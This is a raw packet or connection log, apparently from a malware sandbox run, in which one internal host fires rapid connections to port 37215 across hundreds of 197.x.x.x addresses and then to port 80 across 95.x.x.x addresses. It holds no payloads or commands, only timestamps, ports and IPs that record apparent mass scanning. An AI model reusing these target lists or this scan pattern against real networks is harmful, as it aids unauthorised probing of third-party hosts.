Mar 21, 2024 05:21:47.375716925 CET	48688	37215	192.168.2.13	197.39.237.184
Mar 21, 2024 05:21:47.375730991 CET	48688	37215	192.168.2.13	197.22.145.17
Mar 21, 2024 05:21:47.375752926 CET	48688	37215	192.168.2.13	197.47.174.105
Mar 21, 2024 05:21:47.375771999 CET	48688	37215	192.168.2.13	197.80.13.182
Mar 21, 2024 05:21:47.375771999 CET	48688	37215	192.168.2.13	197.70.76.247
Mar 21, 2024 05:21:47.375771999 CET	48688	37215	192.168.2.13	197.225.177.217
Mar 21, 2024 05:21:47.375792027 CET	48688	37215	192.168.2.13	197.169.91.205
Mar 21, 2024 05:21:47.375798941 CET	48688	37215	192.168.2.13	197.237.232.26
Mar 21, 2024 05:21:47.375799894 CET	48688	37215	192.168.2.13	197.231.223.151
Mar 21, 2024 05:21:47.375812054 CET	48688	37215	192.168.2.13	197.209.80.159
Mar 21, 2024 05:21:47.375823975 CET	48688	37215	192.168.2.13	197.52.28.184
Mar 21, 2024 05:21:47.375832081 CET	48688	37215	192.168.2.13	197.21.193.164
Mar 21, 2024 05:21:47.375832081 CET	48688	37215	192.168.2.13	197.234.137.168
Mar 21, 2024 05:21:47.375847101 CET	48688	37215	192.168.2.13	197.182.116.8
Mar 21, 2024 05:21:47.375853062 CET	48688	37215	192.168.2.13	197.232.127.111
Mar 21, 2024 05:21:47.375875950 CET	48688	37215	192.168.2.13	197.16.149.53
Mar 21, 2024 05:21:47.375875950 CET	48688	37215	192.168.2.13	197.195.126.87
Mar 21, 2024 05:21:47.375875950 CET	48688	37215	192.168.2.13	197.175.175.155
Mar 21, 2024 05:21:47.375881910 CET	48688	37215	192.168.2.13	197.55.109.181
Mar 21, 2024 05:21:47.375895023 CET	48688	37215	192.168.2.13	197.3.214.88
Mar 21, 2024 05:21:47.375895023 CET	48688	37215	192.168.2.13	197.16.247.174
Mar 21, 2024 05:21:47.375895977 CET	48688	37215	192.168.2.13	197.185.97.11
Mar 21, 2024 05:21:47.375921011 CET	48688	37215	192.168.2.13	197.226.216.17
Mar 21, 2024 05:21:47.375921011 CET	48688	37215	192.168.2.13	197.149.83.212
Mar 21, 2024 05:21:47.375921965 CET	48688	37215	192.168.2.13	197.26.42.28
Mar 21, 2024 05:21:47.375926971 CET	48688	37215	192.168.2.13	197.20.136.69
Mar 21, 2024 05:21:47.375941992 CET	48688	37215	192.168.2.13	197.208.10.213
Mar 21, 2024 05:21:47.375941992 CET	48688	37215	192.168.2.13	197.151.138.71
Mar 21, 2024 05:21:47.375962973 CET	48688	37215	192.168.2.13	197.143.47.62
Mar 21, 2024 05:21:47.375962973 CET	48688	37215	192.168.2.13	197.75.46.39
Mar 21, 2024 05:21:47.375962973 CET	48688	37215	192.168.2.13	197.241.233.190
Mar 21, 2024 05:21:47.375977993 CET	48688	37215	192.168.2.13	197.23.9.228
Mar 21, 2024 05:21:47.375979900 CET	48688	37215	192.168.2.13	197.96.1.210
Mar 21, 2024 05:21:47.375979900 CET	48688	37215	192.168.2.13	197.81.186.136
Mar 21, 2024 05:21:47.375989914 CET	48688	37215	192.168.2.13	197.114.215.77
Mar 21, 2024 05:21:47.375994921 CET	48688	37215	192.168.2.13	197.252.74.228
Mar 21, 2024 05:21:47.376008987 CET	48688	37215	192.168.2.13	197.25.154.230
Mar 21, 2024 05:21:47.376012087 CET	48688	37215	192.168.2.13	197.243.246.219
Mar 21, 2024 05:21:47.376012087 CET	48688	37215	192.168.2.13	197.251.82.174
Mar 21, 2024 05:21:47.376015902 CET	48688	37215	192.168.2.13	197.123.144.187
Mar 21, 2024 05:21:47.376038074 CET	48688	37215	192.168.2.13	197.6.160.75
Mar 21, 2024 05:21:47.376038074 CET	48688	37215	192.168.2.13	197.207.241.201
Mar 21, 2024 05:21:47.376038074 CET	48688	37215	192.168.2.13	197.114.39.226
Mar 21, 2024 05:21:47.376044035 CET	48688	37215	192.168.2.13	197.115.83.22
Mar 21, 2024 05:21:47.376061916 CET	48688	37215	192.168.2.13	197.173.61.232
Mar 21, 2024 05:21:47.376064062 CET	48688	37215	192.168.2.13	197.178.62.170
Mar 21, 2024 05:21:47.376064062 CET	48688	37215	192.168.2.13	197.252.165.41
Mar 21, 2024 05:21:47.376089096 CET	48688	37215	192.168.2.13	197.52.61.216
Mar 21, 2024 05:21:47.376099110 CET	48688	37215	192.168.2.13	197.16.255.159
Mar 21, 2024 05:21:47.376099110 CET	48688	37215	192.168.2.13	197.146.199.218
Mar 21, 2024 05:21:47.376104116 CET	48688	37215	192.168.2.13	197.151.90.181
Mar 21, 2024 05:21:47.376111984 CET	48688	37215	192.168.2.13	197.251.8.155
Mar 21, 2024 05:21:47.376127005 CET	48688	37215	192.168.2.13	197.68.208.168
Mar 21, 2024 05:21:47.376138926 CET	48688	37215	192.168.2.13	197.147.26.64
Mar 21, 2024 05:21:47.376142979 CET	48688	37215	192.168.2.13	197.205.52.139
Mar 21, 2024 05:21:47.376146078 CET	48688	37215	192.168.2.13	197.238.6.47
Mar 21, 2024 05:21:47.376156092 CET	48688	37215	192.168.2.13	197.244.151.106
Mar 21, 2024 05:21:47.376172066 CET	48688	37215	192.168.2.13	197.212.182.64
Mar 21, 2024 05:21:47.376176119 CET	48688	37215	192.168.2.13	197.238.105.39
Mar 21, 2024 05:21:47.376190901 CET	48688	37215	192.168.2.13	197.181.64.163
Mar 21, 2024 05:21:47.376193047 CET	48688	37215	192.168.2.13	197.198.11.203
Mar 21, 2024 05:21:47.376224995 CET	48688	37215	192.168.2.13	197.29.202.100
Mar 21, 2024 05:21:47.376235962 CET	48688	37215	192.168.2.13	197.191.32.252
Mar 21, 2024 05:21:47.376271963 CET	48688	37215	192.168.2.13	197.209.203.144
Mar 21, 2024 05:21:47.376276016 CET	48688	37215	192.168.2.13	197.20.247.15
Mar 21, 2024 05:21:47.376286030 CET	48688	37215	192.168.2.13	197.199.205.165
Mar 21, 2024 05:21:47.376301050 CET	48688	37215	192.168.2.13	197.199.26.128
Mar 21, 2024 05:21:47.376307964 CET	48688	37215	192.168.2.13	197.18.44.210
Mar 21, 2024 05:21:47.376312017 CET	48688	37215	192.168.2.13	197.16.224.185
Mar 21, 2024 05:21:47.376312017 CET	48688	37215	192.168.2.13	197.232.182.179
Mar 21, 2024 05:21:47.376312017 CET	48688	37215	192.168.2.13	197.102.181.4
Mar 21, 2024 05:21:47.376312017 CET	48688	37215	192.168.2.13	197.192.92.42
Mar 21, 2024 05:21:47.376318932 CET	48688	37215	192.168.2.13	197.181.201.53
Mar 21, 2024 05:21:47.376318932 CET	48688	37215	192.168.2.13	197.33.61.180
Mar 21, 2024 05:21:47.376328945 CET	48688	37215	192.168.2.13	197.21.110.45
Mar 21, 2024 05:21:47.376334906 CET	48688	37215	192.168.2.13	197.196.129.172
Mar 21, 2024 05:21:47.376342058 CET	48688	37215	192.168.2.13	197.85.75.181
Mar 21, 2024 05:21:47.376348019 CET	48688	37215	192.168.2.13	197.195.213.72
Mar 21, 2024 05:21:47.376357079 CET	48688	37215	192.168.2.13	197.145.15.53
Mar 21, 2024 05:21:47.376372099 CET	48688	37215	192.168.2.13	197.7.39.88
Mar 21, 2024 05:21:47.376374960 CET	48688	37215	192.168.2.13	197.207.250.170
Mar 21, 2024 05:21:47.376386881 CET	48688	37215	192.168.2.13	197.122.33.184
Mar 21, 2024 05:21:47.376400948 CET	48688	37215	192.168.2.13	197.119.89.164
Mar 21, 2024 05:21:47.376404047 CET	48688	37215	192.168.2.13	197.109.228.61
Mar 21, 2024 05:21:47.376420975 CET	48688	37215	192.168.2.13	197.232.190.250
Mar 21, 2024 05:21:47.376431942 CET	48688	37215	192.168.2.13	197.181.172.102
Mar 21, 2024 05:21:47.376451015 CET	48688	37215	192.168.2.13	197.11.37.205
Mar 21, 2024 05:21:47.376455069 CET	48688	37215	192.168.2.13	197.58.174.14
Mar 21, 2024 05:21:47.376462936 CET	48688	37215	192.168.2.13	197.210.49.160
Mar 21, 2024 05:21:47.376468897 CET	48688	37215	192.168.2.13	197.184.204.173
Mar 21, 2024 05:21:47.376471996 CET	48688	37215	192.168.2.13	197.189.194.81
Mar 21, 2024 05:21:47.376471996 CET	48688	37215	192.168.2.13	197.21.84.138
Mar 21, 2024 05:21:47.376471996 CET	48688	37215	192.168.2.13	197.199.134.236
Mar 21, 2024 05:21:47.376486063 CET	48688	37215	192.168.2.13	197.150.196.13
Mar 21, 2024 05:21:47.376493931 CET	48688	37215	192.168.2.13	197.18.145.253
Mar 21, 2024 05:21:47.376497030 CET	48688	37215	192.168.2.13	197.121.94.32
Mar 21, 2024 05:21:47.376507044 CET	48688	37215	192.168.2.13	197.116.0.2
Mar 21, 2024 05:21:47.376511097 CET	48688	37215	192.168.2.13	197.70.236.253
Mar 21, 2024 05:21:47.376518965 CET	48688	37215	192.168.2.13	197.151.136.56
Mar 21, 2024 05:21:47.376533031 CET	48688	37215	192.168.2.13	197.28.102.183
Mar 21, 2024 05:21:47.376537085 CET	48688	37215	192.168.2.13	197.102.151.232
Mar 21, 2024 05:21:47.376542091 CET	48688	37215	192.168.2.13	197.107.9.226
Mar 21, 2024 05:21:47.376550913 CET	48688	37215	192.168.2.13	197.65.210.139
Mar 21, 2024 05:21:47.376552105 CET	48688	37215	192.168.2.13	197.61.155.227
Mar 21, 2024 05:21:47.376552105 CET	48688	37215	192.168.2.13	197.55.252.119
Mar 21, 2024 05:21:47.376566887 CET	48688	37215	192.168.2.13	197.4.146.111
Mar 21, 2024 05:21:47.376566887 CET	48688	37215	192.168.2.13	197.145.155.103
Mar 21, 2024 05:21:47.376586914 CET	48688	37215	192.168.2.13	197.108.168.234
Mar 21, 2024 05:21:47.376588106 CET	48688	37215	192.168.2.13	197.152.135.36
Mar 21, 2024 05:21:47.376607895 CET	48688	37215	192.168.2.13	197.124.175.31
Mar 21, 2024 05:21:47.376607895 CET	48688	37215	192.168.2.13	197.157.217.33
Mar 21, 2024 05:21:47.376615047 CET	48688	37215	192.168.2.13	197.113.213.3
Mar 21, 2024 05:21:47.376622915 CET	48688	37215	192.168.2.13	197.96.207.25
Mar 21, 2024 05:21:47.376637936 CET	48688	37215	192.168.2.13	197.66.243.101
Mar 21, 2024 05:21:47.376642942 CET	48688	37215	192.168.2.13	197.42.237.168
Mar 21, 2024 05:21:47.376642942 CET	48688	37215	192.168.2.13	197.9.166.228
Mar 21, 2024 05:21:47.376656055 CET	48688	37215	192.168.2.13	197.198.201.208
Mar 21, 2024 05:21:47.376661062 CET	48688	37215	192.168.2.13	197.20.140.194
Mar 21, 2024 05:21:47.376676083 CET	48688	37215	192.168.2.13	197.42.41.112
Mar 21, 2024 05:21:47.376689911 CET	48688	37215	192.168.2.13	197.243.121.220
Mar 21, 2024 05:21:47.376689911 CET	48688	37215	192.168.2.13	197.36.126.96
Mar 21, 2024 05:21:47.376696110 CET	48688	37215	192.168.2.13	197.6.238.219
Mar 21, 2024 05:21:47.376698017 CET	48688	37215	192.168.2.13	197.100.233.243
Mar 21, 2024 05:21:47.376701117 CET	48688	37215	192.168.2.13	197.156.68.173
Mar 21, 2024 05:21:47.376718998 CET	48688	37215	192.168.2.13	197.167.196.96
Mar 21, 2024 05:21:47.376720905 CET	48688	37215	192.168.2.13	197.10.84.72
Mar 21, 2024 05:21:47.376737118 CET	48688	37215	192.168.2.13	197.121.191.159
Mar 21, 2024 05:21:47.376749992 CET	48688	37215	192.168.2.13	197.82.97.129
Mar 21, 2024 05:21:47.376775026 CET	48688	37215	192.168.2.13	197.201.77.220
Mar 21, 2024 05:21:47.376775026 CET	48688	37215	192.168.2.13	197.127.127.63
Mar 21, 2024 05:21:47.376786947 CET	48688	37215	192.168.2.13	197.108.150.81
Mar 21, 2024 05:21:47.376786947 CET	48688	37215	192.168.2.13	197.253.92.230
Mar 21, 2024 05:21:47.376802921 CET	48688	37215	192.168.2.13	197.77.98.205
Mar 21, 2024 05:21:47.376802921 CET	48688	37215	192.168.2.13	197.195.27.61
Mar 21, 2024 05:21:47.376827002 CET	48688	37215	192.168.2.13	197.132.53.72
Mar 21, 2024 05:21:47.376832962 CET	48688	37215	192.168.2.13	197.82.88.244
Mar 21, 2024 05:21:47.376838923 CET	48688	37215	192.168.2.13	197.224.85.132
Mar 21, 2024 05:21:47.376848936 CET	48688	37215	192.168.2.13	197.88.65.80
Mar 21, 2024 05:21:47.376867056 CET	48688	37215	192.168.2.13	197.189.252.240
Mar 21, 2024 05:21:47.376871109 CET	48688	37215	192.168.2.13	197.19.203.30
Mar 21, 2024 05:21:47.376882076 CET	48688	37215	192.168.2.13	197.166.173.251
Mar 21, 2024 05:21:47.376890898 CET	48688	37215	192.168.2.13	197.156.180.144
Mar 21, 2024 05:21:47.376899004 CET	48688	37215	192.168.2.13	197.172.124.196
Mar 21, 2024 05:21:47.376916885 CET	48688	37215	192.168.2.13	197.246.184.230
Mar 21, 2024 05:21:47.376919985 CET	48688	37215	192.168.2.13	197.155.30.5
Mar 21, 2024 05:21:47.376923084 CET	48688	37215	192.168.2.13	197.125.56.41
Mar 21, 2024 05:21:47.376930952 CET	48688	37215	192.168.2.13	197.251.160.44
Mar 21, 2024 05:21:47.376940012 CET	48688	37215	192.168.2.13	197.78.37.19
Mar 21, 2024 05:21:47.376948118 CET	48688	37215	192.168.2.13	197.8.60.110
Mar 21, 2024 05:21:47.376951933 CET	48688	37215	192.168.2.13	197.142.33.38
Mar 21, 2024 05:21:47.376956940 CET	48688	37215	192.168.2.13	197.102.153.93
Mar 21, 2024 05:21:47.376983881 CET	48688	37215	192.168.2.13	197.192.243.255
Mar 21, 2024 05:21:47.376985073 CET	48688	37215	192.168.2.13	197.48.111.196
Mar 21, 2024 05:21:47.376986027 CET	48688	37215	192.168.2.13	197.49.238.56
Mar 21, 2024 05:21:47.377002954 CET	48688	37215	192.168.2.13	197.238.110.103
Mar 21, 2024 05:21:47.377003908 CET	48688	37215	192.168.2.13	197.111.44.182
Mar 21, 2024 05:21:47.377021074 CET	48688	37215	192.168.2.13	197.79.231.131
Mar 21, 2024 05:21:47.377027988 CET	48688	37215	192.168.2.13	197.247.15.209
Mar 21, 2024 05:21:47.377029896 CET	48688	37215	192.168.2.13	197.188.178.134
Mar 21, 2024 05:21:47.377044916 CET	48688	37215	192.168.2.13	197.57.103.85
Mar 21, 2024 05:21:47.377053976 CET	48688	37215	192.168.2.13	197.94.246.234
Mar 21, 2024 05:21:47.377053976 CET	48688	37215	192.168.2.13	197.74.216.101
Mar 21, 2024 05:21:47.377064943 CET	48688	37215	192.168.2.13	197.212.96.83
Mar 21, 2024 05:21:47.377064943 CET	48688	37215	192.168.2.13	197.240.43.33
Mar 21, 2024 05:21:47.377073050 CET	48688	37215	192.168.2.13	197.130.164.199
Mar 21, 2024 05:21:47.377078056 CET	48688	37215	192.168.2.13	197.235.111.238
Mar 21, 2024 05:21:47.377093077 CET	48688	37215	192.168.2.13	197.235.127.43
Mar 21, 2024 05:21:47.377110004 CET	48688	37215	192.168.2.13	197.92.112.234
Mar 21, 2024 05:21:47.377110004 CET	48688	37215	192.168.2.13	197.35.25.216
Mar 21, 2024 05:21:47.377110958 CET	48688	37215	192.168.2.13	197.114.238.221
Mar 21, 2024 05:21:47.377115965 CET	48688	37215	192.168.2.13	197.153.49.251
Mar 21, 2024 05:21:47.377125025 CET	48688	37215	192.168.2.13	197.182.112.127
Mar 21, 2024 05:21:47.377140999 CET	48688	37215	192.168.2.13	197.84.167.192
Mar 21, 2024 05:21:47.377147913 CET	48688	37215	192.168.2.13	197.112.75.217
Mar 21, 2024 05:21:47.377147913 CET	48688	37215	192.168.2.13	197.206.128.220
Mar 21, 2024 05:21:47.377155066 CET	48688	37215	192.168.2.13	197.4.135.221
Mar 21, 2024 05:21:47.377157927 CET	48688	37215	192.168.2.13	197.87.114.58
Mar 21, 2024 05:21:47.377173901 CET	48688	37215	192.168.2.13	197.255.193.227
Mar 21, 2024 05:21:47.377175093 CET	48688	37215	192.168.2.13	197.106.86.200
Mar 21, 2024 05:21:47.377182007 CET	48688	37215	192.168.2.13	197.185.242.116
Mar 21, 2024 05:21:47.377198935 CET	48688	37215	192.168.2.13	197.210.66.249
Mar 21, 2024 05:21:47.377214909 CET	48688	37215	192.168.2.13	197.255.206.242
Mar 21, 2024 05:21:47.377219915 CET	48688	37215	192.168.2.13	197.41.190.248
Mar 21, 2024 05:21:47.377232075 CET	48688	37215	192.168.2.13	197.19.123.19
Mar 21, 2024 05:21:47.377233982 CET	48688	37215	192.168.2.13	197.87.148.13
Mar 21, 2024 05:21:47.377243042 CET	48688	37215	192.168.2.13	197.49.63.141
Mar 21, 2024 05:21:47.377249002 CET	48688	37215	192.168.2.13	197.104.191.202
Mar 21, 2024 05:21:47.377253056 CET	48688	37215	192.168.2.13	197.208.49.52
Mar 21, 2024 05:21:47.377259970 CET	48688	37215	192.168.2.13	197.213.19.185
Mar 21, 2024 05:21:47.377274036 CET	48688	37215	192.168.2.13	197.80.23.200
Mar 21, 2024 05:21:47.377298117 CET	48688	37215	192.168.2.13	197.127.16.232
Mar 21, 2024 05:21:47.377299070 CET	48688	37215	192.168.2.13	197.113.117.1
Mar 21, 2024 05:21:47.377298117 CET	48688	37215	192.168.2.13	197.6.25.218
Mar 21, 2024 05:21:47.377299070 CET	48688	37215	192.168.2.13	197.25.167.22
Mar 21, 2024 05:21:47.377312899 CET	48688	37215	192.168.2.13	197.134.140.136
Mar 21, 2024 05:21:47.377321959 CET	48688	37215	192.168.2.13	197.20.44.251
Mar 21, 2024 05:21:47.377332926 CET	48688	37215	192.168.2.13	197.29.175.125
Mar 21, 2024 05:21:47.377338886 CET	48688	37215	192.168.2.13	197.174.53.48
Mar 21, 2024 05:21:47.377351999 CET	48688	37215	192.168.2.13	197.121.77.114
Mar 21, 2024 05:21:47.377362013 CET	48688	37215	192.168.2.13	197.58.86.112
Mar 21, 2024 05:21:47.377363920 CET	48688	37215	192.168.2.13	197.67.228.78
Mar 21, 2024 05:21:47.377372026 CET	48688	37215	192.168.2.13	197.31.150.61
Mar 21, 2024 05:21:47.377388954 CET	48688	37215	192.168.2.13	197.175.26.223
Mar 21, 2024 05:21:47.377392054 CET	48688	37215	192.168.2.13	197.171.230.0
Mar 21, 2024 05:21:47.377402067 CET	48688	37215	192.168.2.13	197.212.106.88
Mar 21, 2024 05:21:47.377404928 CET	48688	37215	192.168.2.13	197.62.39.206
Mar 21, 2024 05:21:47.377414942 CET	48688	37215	192.168.2.13	197.218.1.160
Mar 21, 2024 05:21:47.377425909 CET	48688	37215	192.168.2.13	197.108.194.107
Mar 21, 2024 05:21:47.377434015 CET	48688	37215	192.168.2.13	197.177.234.143
Mar 21, 2024 05:21:47.377441883 CET	48688	37215	192.168.2.13	197.131.69.136
Mar 21, 2024 05:21:47.377443075 CET	48688	37215	192.168.2.13	197.93.93.3
Mar 21, 2024 05:21:47.377461910 CET	48688	37215	192.168.2.13	197.167.54.44
Mar 21, 2024 05:21:47.377461910 CET	48688	37215	192.168.2.13	197.235.221.143
Mar 21, 2024 05:21:47.377475023 CET	48688	37215	192.168.2.13	197.161.100.159
Mar 21, 2024 05:21:47.377486944 CET	48688	37215	192.168.2.13	197.132.195.81
Mar 21, 2024 05:21:47.377489090 CET	48688	37215	192.168.2.13	197.59.32.147
Mar 21, 2024 05:21:47.377500057 CET	48688	37215	192.168.2.13	197.198.113.60
Mar 21, 2024 05:21:47.377502918 CET	48688	37215	192.168.2.13	197.235.197.223
Mar 21, 2024 05:21:47.377525091 CET	48688	37215	192.168.2.13	197.190.138.195
Mar 21, 2024 05:21:47.377533913 CET	48688	37215	192.168.2.13	197.171.205.225
Mar 21, 2024 05:21:47.377537012 CET	48688	37215	192.168.2.13	197.166.63.87
Mar 21, 2024 05:21:47.377542973 CET	48688	37215	192.168.2.13	197.177.244.214
Mar 21, 2024 05:21:47.377567053 CET	48688	37215	192.168.2.13	197.207.66.68
Mar 21, 2024 05:21:47.377578974 CET	48688	37215	192.168.2.13	197.73.48.140
Mar 21, 2024 05:21:47.377584934 CET	48688	37215	192.168.2.13	197.116.107.37
Mar 21, 2024 05:21:47.377584934 CET	48688	37215	192.168.2.13	197.238.51.100
Mar 21, 2024 05:21:47.377598047 CET	48688	37215	192.168.2.13	197.13.42.28
Mar 21, 2024 05:21:47.377598047 CET	48688	37215	192.168.2.13	197.130.195.134
Mar 21, 2024 05:21:47.377608061 CET	48688	37215	192.168.2.13	197.63.124.92
Mar 21, 2024 05:21:47.377608061 CET	48688	37215	192.168.2.13	197.39.168.110
Mar 21, 2024 05:21:47.377631903 CET	48688	37215	192.168.2.13	197.18.48.70
Mar 21, 2024 05:21:47.377636909 CET	48688	37215	192.168.2.13	197.177.93.45
Mar 21, 2024 05:21:47.377646923 CET	48688	37215	192.168.2.13	197.96.93.47
Mar 21, 2024 05:21:47.377720118 CET	48688	37215	192.168.2.13	197.4.15.38
Mar 21, 2024 05:21:47.377728939 CET	48688	37215	192.168.2.13	197.209.43.223
Mar 21, 2024 05:21:47.377728939 CET	48688	37215	192.168.2.13	197.246.139.90
Mar 21, 2024 05:21:47.377748966 CET	48688	37215	192.168.2.13	197.197.209.222
Mar 21, 2024 05:21:47.377748966 CET	48688	37215	192.168.2.13	197.221.116.200
Mar 21, 2024 05:21:47.377754927 CET	48688	37215	192.168.2.13	197.78.118.235
Mar 21, 2024 05:21:47.377772093 CET	48688	37215	192.168.2.13	197.58.238.139
Mar 21, 2024 05:21:47.377785921 CET	48688	37215	192.168.2.13	197.251.197.109
Mar 21, 2024 05:21:47.377799034 CET	48688	37215	192.168.2.13	197.58.208.219
Mar 21, 2024 05:21:47.377810955 CET	48688	37215	192.168.2.13	197.255.251.222
Mar 21, 2024 05:21:47.377813101 CET	48688	37215	192.168.2.13	197.217.165.54
Mar 21, 2024 05:21:47.377831936 CET	48688	37215	192.168.2.13	197.198.143.246
Mar 21, 2024 05:21:47.377851963 CET	48688	37215	192.168.2.13	197.250.162.183
Mar 21, 2024 05:21:47.377852917 CET	48688	37215	192.168.2.13	197.112.30.14
Mar 21, 2024 05:21:47.377862930 CET	48688	37215	192.168.2.13	197.70.153.171
Mar 21, 2024 05:21:47.377876997 CET	48688	37215	192.168.2.13	197.229.191.157
Mar 21, 2024 05:21:47.377877951 CET	48688	37215	192.168.2.13	197.174.172.146
Mar 21, 2024 05:21:47.377877951 CET	48688	37215	192.168.2.13	197.125.85.180
Mar 21, 2024 05:21:47.377888918 CET	48688	37215	192.168.2.13	197.46.108.117
Mar 21, 2024 05:21:47.377892971 CET	48688	37215	192.168.2.13	197.214.68.93
Mar 21, 2024 05:21:47.377908945 CET	48688	37215	192.168.2.13	197.171.58.179
Mar 21, 2024 05:21:47.377912998 CET	48688	37215	192.168.2.13	197.45.198.82
Mar 21, 2024 05:21:47.379977942 CET	49456	80	192.168.2.13	95.102.213.167
Mar 21, 2024 05:21:47.379981041 CET	49456	80	192.168.2.13	95.36.237.184
Mar 21, 2024 05:21:47.379992962 CET	49456	80	192.168.2.13	95.112.152.102
Mar 21, 2024 05:21:47.379998922 CET	49456	80	192.168.2.13	95.144.146.167
Mar 21, 2024 05:21:47.380023003 CET	49456	80	192.168.2.13	95.64.9.12
Mar 21, 2024 05:21:47.380032063 CET	49456	80	192.168.2.13	95.126.123.232
Mar 21, 2024 05:21:47.380040884 CET	49456	80	192.168.2.13	95.205.68.239
Mar 21, 2024 05:21:47.380044937 CET	49456	80	192.168.2.13	95.0.145.143
Mar 21, 2024 05:21:47.380058050 CET	49456	80	192.168.2.13	95.167.143.32
Mar 21, 2024 05:21:47.380059004 CET	49456	80	192.168.2.13	95.104.31.53
Mar 21, 2024 05:21:47.380085945 CET	49456	80	192.168.2.13	95.212.220.31
Mar 21, 2024 05:21:47.380085945 CET	49456	80	192.168.2.13	95.185.58.37
Mar 21, 2024 05:21:47.380085945 CET	49456	80	192.168.2.13	95.120.213.6
Mar 21, 2024 05:21:47.380088091 CET	49456	80	192.168.2.13	95.181.181.174
Mar 21, 2024 05:21:47.380114079 CET	49456	80	192.168.2.13	95.231.239.27
Mar 21, 2024 05:21:47.380119085 CET	49456	80	192.168.2.13	95.21.167.207
Mar 21, 2024 05:21:47.380127907 CET	49456	80	192.168.2.13	95.249.167.36
Mar 21, 2024 05:21:47.380146980 CET	49456	80	192.168.2.13	95.51.193.25
Mar 21, 2024 05:21:47.380146980 CET	49456	80	192.168.2.13	95.49.230.2
Mar 21, 2024 05:21:47.380172968 CET	49456	80	192.168.2.13	95.106.181.255
Mar 21, 2024 05:21:47.380184889 CET	49456	80	192.168.2.13	95.140.87.128
Mar 21, 2024 05:21:47.380186081 CET	49456	80	192.168.2.13	95.111.176.230
Mar 21, 2024 05:21:47.380184889 CET	49456	80	192.168.2.13	95.130.187.12
Mar 21, 2024 05:21:47.380203962 CET	49456	80	192.168.2.13	95.225.118.149
Mar 21, 2024 05:21:47.380204916 CET	49456	80	192.168.2.13	95.98.22.104
Mar 21, 2024 05:21:47.380234957 CET	49456	80	192.168.2.13	95.238.254.76
Mar 21, 2024 05:21:47.380237103 CET	49456	80	192.168.2.13	95.26.109.87
Mar 21, 2024 05:21:47.380237103 CET	49456	80	192.168.2.13	95.173.46.169
Mar 21, 2024 05:21:47.380242109 CET	49456	80	192.168.2.13	95.180.247.190
Mar 21, 2024 05:21:47.380287886 CET	49456	80	192.168.2.13	95.111.82.54
Mar 21, 2024 05:21:47.380287886 CET	49456	80	192.168.2.13	95.67.198.161
Mar 21, 2024 05:21:47.380287886 CET	49456	80	192.168.2.13	95.40.90.180
Mar 21, 2024 05:21:47.380314112 CET	49456	80	192.168.2.13	95.56.158.11
Mar 21, 2024 05:21:47.380328894 CET	49456	80	192.168.2.13	95.18.97.221
Mar 21, 2024 05:21:47.380337954 CET	49456	80	192.168.2.13	95.94.58.84
Mar 21, 2024 05:21:47.380345106 CET	49456	80	192.168.2.13	95.125.72.7
Mar 21, 2024 05:21:47.380352974 CET	49456	80	192.168.2.13	95.188.81.190
Mar 21, 2024 05:21:47.380352974 CET	49456	80	192.168.2.13	95.217.226.238
Mar 21, 2024 05:21:47.380356073 CET	49456	80	192.168.2.13	95.8.109.5
Mar 21, 2024 05:21:47.380373001 CET	49456	80	192.168.2.13	95.6.216.193
Mar 21, 2024 05:21:47.380388975 CET	49456	80	192.168.2.13	95.50.216.15
Mar 21, 2024 05:21:47.380394936 CET	49456	80	192.168.2.13	95.173.126.104
Mar 21, 2024 05:21:47.380413055 CET	49456	80	192.168.2.13	95.224.4.80
Mar 21, 2024 05:21:47.380415916 CET	49456	80	192.168.2.13	95.64.95.58
Mar 21, 2024 05:21:47.380417109 CET	49456	80	192.168.2.13	95.96.39.89
Mar 21, 2024 05:21:47.380430937 CET	49456	80	192.168.2.13	95.140.69.129
Mar 21, 2024 05:21:47.380439997 CET	49456	80	192.168.2.13	95.123.153.78
Mar 21, 2024 05:21:47.380451918 CET	49456	80	192.168.2.13	95.172.69.88
Mar 21, 2024 05:21:47.380459070 CET	49456	80	192.168.2.13	95.20.41.180
Mar 21, 2024 05:21:47.380460024 CET	49456	80	192.168.2.13	95.39.176.82
Mar 21, 2024 05:21:47.380467892 CET	49456	80	192.168.2.13	95.47.242.223
Mar 21, 2024 05:21:47.380482912 CET	49456	80	192.168.2.13	95.43.249.25
Mar 21, 2024 05:21:47.380492926 CET	49456	80	192.168.2.13	95.61.87.91
Mar 21, 2024 05:21:47.380501032 CET	49456	80	192.168.2.13	95.75.162.51
Mar 21, 2024 05:21:47.380502939 CET	49456	80	192.168.2.13	95.116.241.77
Mar 21, 2024 05:21:47.380517960 CET	49456	80	192.168.2.13	95.202.49.127
Mar 21, 2024 05:21:47.380528927 CET	49456	80	192.168.2.13	95.223.246.217
Mar 21, 2024 05:21:47.380528927 CET	49456	80	192.168.2.13	95.123.72.134
Mar 21, 2024 05:21:47.380547047 CET	49456	80	192.168.2.13	95.32.71.97
Mar 21, 2024 05:21:47.380552053 CET	49456	80	192.168.2.13	95.198.110.158
Mar 21, 2024 05:21:47.380563974 CET	49456	80	192.168.2.13	95.159.34.13
Mar 21, 2024 05:21:47.380573988 CET	49456	80	192.168.2.13	95.6.44.255
Mar 21, 2024 05:21:47.380579948 CET	49456	80	192.168.2.13	95.184.46.51
Mar 21, 2024 05:21:47.380592108 CET	49456	80	192.168.2.13	95.255.142.95
Mar 21, 2024 05:21:47.380601883 CET	49456	80	192.168.2.13	95.51.1.177
Mar 21, 2024 05:21:47.380618095 CET	49456	80	192.168.2.13	95.13.50.49
Mar 21, 2024 05:21:47.380618095 CET	49456	80	192.168.2.13	95.234.17.196
Mar 21, 2024 05:21:47.380620956 CET	49456	80	192.168.2.13	95.178.78.134
Mar 21, 2024 05:21:47.380637884 CET	49456	80	192.168.2.13	95.36.93.119
Mar 21, 2024 05:21:47.380662918 CET	49456	80	192.168.2.13	95.211.186.161
Mar 21, 2024 05:21:47.380664110 CET	49456	80	192.168.2.13	95.153.118.41
Mar 21, 2024 05:21:47.380683899 CET	49456	80	192.168.2.13	95.114.10.20
Mar 21, 2024 05:21:47.380686998 CET	49456	80	192.168.2.13	95.176.184.113
Mar 21, 2024 05:21:47.380693913 CET	49456	80	192.168.2.13	95.220.166.129
Mar 21, 2024 05:21:47.380737066 CET	49456	80	192.168.2.13	95.94.155.6
Mar 21, 2024 05:21:47.380753994 CET	49456	80	192.168.2.13	95.187.248.2
Mar 21, 2024 05:21:47.380762100 CET	49456	80	192.168.2.13	95.224.209.28
Mar 21, 2024 05:21:47.380779028 CET	49456	80	192.168.2.13	95.84.53.36
Mar 21, 2024 05:21:47.380780935 CET	49456	80	192.168.2.13	95.164.138.34
Mar 21, 2024 05:21:47.380812883 CET	49456	80	192.168.2.13	95.11.4.52
